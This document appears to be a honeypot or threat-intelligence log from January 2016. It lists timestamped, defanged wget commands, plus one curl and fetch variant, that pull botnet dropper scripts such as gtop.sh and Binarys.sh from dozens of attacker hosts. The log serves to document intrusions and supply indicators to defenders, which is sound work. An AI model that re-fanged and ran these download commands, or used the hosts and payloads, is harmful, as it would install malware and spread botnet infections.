2016-01-31 20:06:58 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-01-31 19:38:03 | wget hxxp:// 185.112.249.253/gtop . sh
2016-01-31 17:02:29 | wget hxxp:// 185.112.249.253/gtop . sh
2016-01-31 12:19:56 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-01-31 10:30:13 | wget hxxp:// 192.243.109.5/DOGDICKS/gtop . sh
2016-01-31 06:55:10 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-31 05:11:34 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-31 04:36:29 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-31 01:42:39 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-31 01:29:38 | wget -q hxxp:// 173.242.119.122/lol . sh
2016-01-31 01:27:33 | wget -q hxxp:// 173.242.119.122/lol . sh
2016-01-31 01:17:19 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-31 00:53:32 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-31 00:49:01 | wget -q hxxp:// 173.242.119.122/lol . sh
2016-01-31 00:43:49 | wget -q hxxp:// 173.242.119.122/lol . sh
2016-01-31 00:06:36 | wget -q hxxp:// 173.242.119.122/lol . sh
2016-01-30 21:52:47 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-30 21:52:47 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-30 20:33:49 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-30 20:00:15 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-30 16:11:18 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 15:01:18 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 14:33:02 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 14:01:08 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 12:42:52 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 08:50:39 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 04:56:37 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 04:27:22 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 04:15:01 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 03:59:18 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-30 03:41:57 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 03:25:40 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 03:23:29 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 03:18:14 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 03:13:12 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 02:50:41 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-30 02:16:54 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 01:48:32 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 01:27:04 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-30 01:03:57 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-30 00:38:02 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 23:25:54 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-29 23:25:51 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-29 22:21:59 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 21:58:26 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 20:42:17 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 16:09:21 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 16:00:25 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 15:48:44 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-29 15:38:32 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 15:07:50 | wget hxxp:// 173.214.160.90/gtop . sh
2016-01-29 12:38:33 | wget hxxp:// 173.214.160.90/gtop . sh-O /tmp/gtop . sh
2016-01-29 12:12:42 | wget hxxp:// 173.214.160.90/gtop . sh-O /tmp/gtop . sh
2016-01-29 06:51:54 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-29 06:51:51 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-29 06:04:44 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-29 05:43:58 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-29 05:43:56 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-29 02:37:01 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-29 02:04:59 | wget hxxp:// 107.172.23.133/gtop . sh
2016-01-29 01:46:33 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-29 01:27:27 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-29 01:04:07 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-29 00:00:28 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-28 23:27:28 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-28 22:49:46 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-28 20:17:10 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-28 14:22:53 | wget hxxp:// 198.23.238.251/gb . sh
2016-01-28 11:44:52 | wget ftx://23.89.158.69/gtop . sh
2016-01-28 11:30:23 | wget ftx://23.89.158.69/gtop . sh
2016-01-28 07:35:08 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-28 07:35:08 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-28 04:11:21 | wget -q hxxp:// 162.213.195.144/Bots/f . sh
2016-01-27 20:34:49 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-27 20:34:47 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-27 16:07:37 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-27 12:40:52 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-27 11:36:57 | wget ftx://23.89.158.69/gtop . sh-O /tmp/gtop . sh
2016-01-27 11:26:49 | wget ftx://23.89.158.69/gtop . sh
2016-01-27 10:50:10 | wget ftx://23.89.158.69/gtop . sh
2016-01-27 10:07:17 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-26 08:01:29 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-26 08:01:26 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-25 21:33:13 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-25 21:05:57 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-25 18:30:30 | wget hxxp:// 163.47.11.201/gtop . sh
2016-01-25 18:03:35 | wget hxxp:// 163.47.11.201/gtop . sh
2016-01-25 17:23:50 | wget hxxp:// 163.47.11.201/gtop . sh
2016-01-25 17:10:36 | wget -q hxxp:// 185.130.5.205/bin . sh; 
                              fetch hxxp:// 185.130.5.205/bin . sh; 
                              lwp-download hxxp:// 185.130.5.205/bin . sh; 
                              curl -O hxxp:// 185.130.5.205/bin . sh
2016-01-25 17:07:52 | wget hxxp:// 163.47.11.201/gtop . sh
2016-01-25 17:00:40 | wget hxxp:// 163.47.11.201/gtop . sh
2016-01-25 15:19:33 | wget hxxp:// 163.47.11.201/gtop . sh
2016-01-25 15:06:55 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-25 14:48:06 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-25 04:16:09 | wget hxxp:// 46.101.71.240/gtop . sh
2016-01-25 04:04:00 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-25 03:46:01 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-25 03:24:12 | wget hxxp:// 178.19.111.244/bin . sh
2016-01-25 02:54:05 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-25 02:53:59 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-25 02:25:41 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-25 02:19:41 | wget hxxp:// 208.67.1.2/DOGDICKS/Binarys . sh
2016-01-25 01:34:10 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-25 01:33:39 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-25 01:13:21 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-25 00:50:59 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-25 00:21:05 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 23:37:31 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-24 22:46:40 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-24 22:44:21 | wget hxxp:// 178.19.111.244/bin . sh
2016-01-24 22:29:34 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-24 22:25:10 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 21:49:52 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-24 12:56:39 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 11:32:43 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 08:20:29 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-24 08:20:26 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-24 07:22:52 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 06:37:33 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 04:40:34 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 04:10:18 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-24 02:17:06 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-24 01:37:50 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-24 01:18:03 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-24 00:58:46 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-23 23:40:45 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-23 21:15:50 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-23 20:42:40 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-23 16:36:16 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-23 14:55:17 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-23 13:04:09 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-23 10:03:03 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-23 06:47:26 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-23 06:16:59 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-23 04:28:24 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-23 04:09:07 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-23 02:47:09 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-22 20:51:48 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-22 19:48:54 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-22 19:47:24 | wget hxxp:// 178.19.111.244/y . sh
2016-01-22 19:27:17 | wget hxxp:// 178.19.111.244/y . sh
2016-01-22 19:27:15 | wget hxxp:// 178.19.111.244/y . sh
2016-01-22 17:50:05 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-22 16:44:18 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-22 15:56:34 | wget hxxp:// 206.72.207.194/gtop . sh
2016-01-22 05:51:56 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-22 03:24:22 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-21 22:10:20 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-21 17:49:26 | wget hxxp:// iplogger.xyz/DOGDICKS/Binarys . sh
2016-01-21 16:21:59 | wget hxxp:// 185.62.189.11/DOGDICKS/Binarys . sh
2016-01-21 13:52:03 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-21 13:52:01 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-21 07:26:36 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-21 07:02:10 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-21 03:22:21 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-21 03:09:41 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-21 02:28:16 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-21 02:24:19 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-21 02:10:30 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-20 23:57:05 | wget hxxp:// www.hongcherng.com/sc/sc . sh-O /tmp/sc . sh
2016-01-20 22:32:51 | wget hxxp:// binarys.x10.mx/qbot/Binarys . sh
2016-01-20 21:56:08 | wget hxxp:// binarys.x10.mx/qbot/Binarys . sh
2016-01-20 21:49:01 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-20 21:38:36 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 21:07:50 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 20:33:28 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 17:10:47 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 16:13:02 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 10:49:05 | wget hxxp:// 198.23.238.251/gb . sh
2016-01-20 09:41:22 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 09:34:12 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-20 07:07:37 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 06:51:52 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-20 06:41:03 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-20 06:01:47 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-20 05:46:11 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 05:14:29 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-20 05:13:02 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 05:02:00 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 04:11:57 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-20 03:57:14 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-20 03:13:32 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-20 03:05:47 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-20 02:27:34 | wget hxxp:// binarys.x10.mx/qbot/Binarys . sh
2016-01-20 02:19:07 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-20 01:42:34 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-20 01:27:42 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-20 01:14:51 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-20 00:35:57 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-20 00:24:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-19 23:58:11 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-19 23:19:08 | wget 192.227.170.67/bins . sh
2016-01-19 22:04:11 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 22:01:31 | wget hxxp:// 208.73.207.236/gtop . sh
2016-01-19 21:44:34 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 21:21:10 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 21:04:47 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-19 20:13:14 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-19 16:09:39 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-19 15:21:47 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-19 15:12:13 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-19 15:12:13 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-19 14:56:57 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-19 14:11:33 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-19 08:30:58 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 07:58:19 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 04:32:58 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 03:52:38 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 03:37:52 | wget hxxp:// 185.62.190.62/dox . sh
2016-01-19 03:09:10 | wget hxxp:// 158.69.217.211/gb . sh
2016-01-19 02:03:04 | wget hxxp:// 158.69.217.211/gb . sh
2016-01-18 22:37:44 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 22:31:33 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-18 21:48:44 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 19:16:51 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 19:09:59 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 18:33:30 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 18:26:36 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-18 18:25:36 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 18:08:11 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-18 17:47:42 | wget ftx://79.143.181.158/gtop . sh
2016-01-18 17:35:26 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-18 16:14:46 | wget ftx://79.143.181.158/gtop . sh
2016-01-18 15:50:46 | wget hxxp:// www.hongcherng.com/rd/rd . sh-O /tmp/ich . sh
2016-01-18 15:08:59 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 14:59:57 | wget ftx://79.143.181.158/gtop . sh
2016-01-18 14:24:22 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-18 05:23:27 | wget ftx://79.143.181.158/gtop . sh
2016-01-18 04:21:59 | wget ftx://79.143.181.158/gtop . sh
2016-01-18 03:31:26 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-18 02:47:49 | wget hxxp:// binarys.x10.mx/king/Binarys . sh
2016-01-18 02:31:48 | wget ftx://79.143.181.158/gtop . sh
2016-01-18 02:23:52 | wget hxxp:// binarys.x10.mx/king/Binarys . sh
2016-01-18 02:21:28 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-18 02:15:19 | wget ftx://79.143.181.158/gtop . sh
2016-01-18 01:32:08 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-18 01:31:53 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-18 01:07:15 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-17 23:48:52 | wget ftx://79.143.181.158/gtop . sh
2016-01-17 22:39:13 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-17 22:30:53 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-17 21:35:21 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-17 21:21:12 | wget ftx://79.143.181.158/gtop . sh
2016-01-17 21:08:24 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-17 20:18:45 | wget ftx://79.143.181.158/gtop . sh
2016-01-17 19:45:02 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-17 18:54:33 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-17 18:13:59 | wget ftx://79.143.181.158/gtop . sh
2016-01-17 17:57:51 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-17 17:03:06 | wget hxxp:// 94.102.49.197/gb-wget . sh
2016-01-17 09:51:02 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-17 09:15:53 | wget ftx://79.143.181.158/gtop . sh
2016-01-17 08:37:10 | wget ftx://79.143.181.158/gtop . sh
2016-01-17 06:42:49 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-17 05:59:09 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-17 01:47:52 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-17 00:39:05 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-16 23:41:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 23:13:19 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-16 23:09:42 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-16 22:54:36 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-16 22:49:27 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 22:23:13 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-16 22:15:45 | wget hxxp:// 23.89.158.69/gtop . sh
2016-01-16 20:16:46 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 20:09:38 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-16 18:43:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 18:33:39 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 18:07:11 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-16 17:46:52 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 17:37:08 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 16:49:51 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 16:39:52 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 15:29:31 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 15:19:22 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 13:13:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 13:03:48 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-16 08:12:22 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-16 08:12:20 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-16 02:50:01 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-15 23:40:54 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-15 23:06:34 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 22:56:19 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 22:37:03 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-15 22:32:13 | wget ftx://79.143.181.158/gtop . sh
2016-01-15 22:20:20 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 21:20:03 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 21:09:53 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 21:02:27 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-15 19:44:51 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-15 19:14:54 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-15 18:26:11 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 18:15:44 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 17:31:26 | wget ftx://79.143.181.158/gtop . sh
2016-01-15 17:17:24 | wget hxxp:// www.hongcherng.com/rd/rd . sh-O /tmp/ich . sh
2016-01-15 16:43:10 | wget ftx://79.143.181.158/gtop . sh
2016-01-15 15:26:25 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-15 14:13:33 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 14:03:12 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 12:40:26 | wget -q hxxp:// 162.208.8.203/p . sh
2016-01-15 07:31:16 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 07:21:29 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-15 07:14:50 | wget ftx://79.143.181.158/gtop . sh
2016-01-15 06:44:14 | wget hxxp:// 216.158.225.7/gtop . sh
2016-01-15 02:38:27 | wget ftx://79.143.181.158/gtop . sh
2016-01-15 02:36:06 | wget -q hxxp:// 198.12.97.67/Bot/stun . sh
2016-01-15 02:22:57 | wget -q hxxp:// 198.12.97.67/Bot/stun . sh
2016-01-15 02:05:36 | wget -q hxxp:// 198.12.97.67/Bot/stun . sh
2016-01-15 01:43:57 | wget -q hxxp:// 198.12.97.67/Bot/stun . sh
2016-01-15 01:27:01 | wget -q hxxp:// 198.12.97.67/Bot/stun . sh
2016-01-15 00:43:06 | wget -q hxxp:// 198.12.97.67/Bot/stun . sh
2016-01-15 00:27:16 | wget www.hongcherng.com/bc/bc . sh-O /tmp/ich . sh
2016-01-15 00:12:57 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 23:48:37 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 22:53:28 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 22:45:16 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 22:03:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-14 21:53:15 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-14 21:39:11 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-14 20:55:24 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 20:26:48 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 17:59:24 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-14 17:45:01 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 17:03:32 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 15:24:42 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-14 15:14:55 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-14 15:01:20 | wget ftx://79.143.181.158/gtop . sh
2016-01-14 14:45:57 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-14 14:15:35 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-14 14:05:54 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-14 13:54:38 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-14 13:43:29 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-14 10:37:24 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-14 10:37:22 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-14 08:54:03 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-14 00:52:25 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-14 00:05:18 | wget hxxp:// 192.227.170.67/bins . sh
2016-01-13 22:22:16 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 22:12:18 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 21:44:02 | wget ftx://79.143.181.158/gtop . sh
2016-01-13 21:19:52 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-13 21:16:50 | wget www.hongcherng.com/bc/bc . sh-O /tmp/ich . sh
2016-01-13 19:46:09 | wget hxxp:// 89.248.166.131/bin . sh
2016-01-13 16:48:47 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 16:38:50 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 16:23:57 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 16:14:04 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 15:32:07 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 15:22:16 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 15:05:41 | wget www.hongcherng.com/bc/bc . sh-O /tmp/ich . sh
2016-01-13 14:31:12 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-13 14:16:54 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-13 14:10:12 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-13 14:09:33 | wget hxxp:// 208.67.1.142/qbot/Binarys . sh
2016-01-13 13:23:35 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-13 13:23:33 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-13 13:18:01 | wget hxxp:// 192.227.177.127/gtop . sh
2016-01-13 12:40:02 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-13 12:39:59 | wget -q hxxp:// 199.180.133.214/Sharky/gb . sh
2016-01-13 10:35:24 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-13 08:02:52 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-13 07:21:22 | wget hxxp:// 173.242.119.122/lol . sh
2016-01-13 07:03:11 | wget hxxp:// 208.67.1.3/DOGDICKS/Binarys . sh
2016-01-13 06:05:58 | wget hxxp:// 89.248.166.131/bin . sh
